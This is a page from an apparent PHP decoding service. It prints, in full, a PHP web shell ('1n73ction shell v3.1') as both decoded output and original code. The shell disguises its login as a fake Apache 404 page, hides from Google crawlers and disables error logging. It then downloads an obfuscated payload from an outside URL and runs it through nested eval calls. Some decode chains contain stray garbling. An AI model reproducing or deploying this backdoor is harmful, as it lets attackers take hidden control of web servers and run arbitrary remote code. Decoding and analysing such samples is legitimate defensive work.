Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? /* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */ $auth_pass = "9c..

Decoded Output download

<? 
/* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */  
$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc";  
$color = "#00ff00";  
$default_action = 'FilesMan';  
@define('SELF_PATH', __FILE__);  
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {  
    header('HTTP/1.0 404 Not Found');  
    exit;  
}  
@session_start();  
@error_reporting(0);  
@ini_set('error_log',NULL);  
@ini_set('log_errors',0);  
@ini_set('max_execution_time',0); 
@ini_set('output_buffering',0);  
@ini_set('display_errors', 0); 
@set_time_limit(0);  
@set_magic_quotes_runtime(0);  
@define('VERSION', '2.1');  
if( get_magic_quotes_gpc() ) {  
    function stripslashes_array($array) {  
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);  
    }  
    $_POST = stripslashes_array($_POST);  
}  
function printLogin() {  
    ?>  
<h1>Not Found</h1>  
<p>The requested URL was not found on this server.</p>  
<hr>  
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>  
    <style>  
        input { margin:0;background-color:#fff;border:1px solid #fff; }  
    </style>  
    <center>  
    <form method=post>  
    <input type=password name=pass>  
    </form></center>  
    <?php  
    exit;  
}  
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))  
    if( empty( $auth_pass ) ||  
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )  
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;  
    else  
        printLogin(); 
function x($inject){ 
 
    eval("\$z=gzinflate(str_rot13(base64_decode(str_rot13(gzinflate(base64_decode(\$inject?))))));eval(\$z);"); 
 
} 
$in73ct = "http://injects.googlecode.com/files/doir.txt"; $inj3ct = file_get_contents($in73ct); eval (gzinflate(str_rot13(base64_decode(str_rot13(gzinflate(base64_decode($inj3ct))))?))); 
?>

Did this file decode correctly?

Original Code

<?
/* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */ 
$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc"; 
$color = "#00ff00"; 
$default_action = 'FilesMan'; 
@define('SELF_PATH', __FILE__); 
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 
    header('HTTP/1.0 404 Not Found'); 
    exit; 
} 
@session_start(); 
@error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('VERSION', '2.1'); 
if( get_magic_quotes_gpc() ) { 
    function stripslashes_array($array) { 
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 
    } 
    $_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
    ?> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> 
    <?php 
    exit; 
} 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
function x($inject){

    eval("\$z=gzinflate(str_rot13(base64_decode(str_rot13(gzinflate(base64_decode(\$inject?))))));eval(\$z);");

}
$in73ct = "http://injects.googlecode.com/files/doir.txt"; $inj3ct = file_get_contents($in73ct); eval (gzinflate(str_rot13(base64_decode(str_rot13(gzinflate(base64_decode($inj3ct))))?)));
?>

Function Calls

None

Variables

None

Stats

MD5 dab755776ada112a6c16775301ed769e
Eval Count 0
Decode Time 87 ms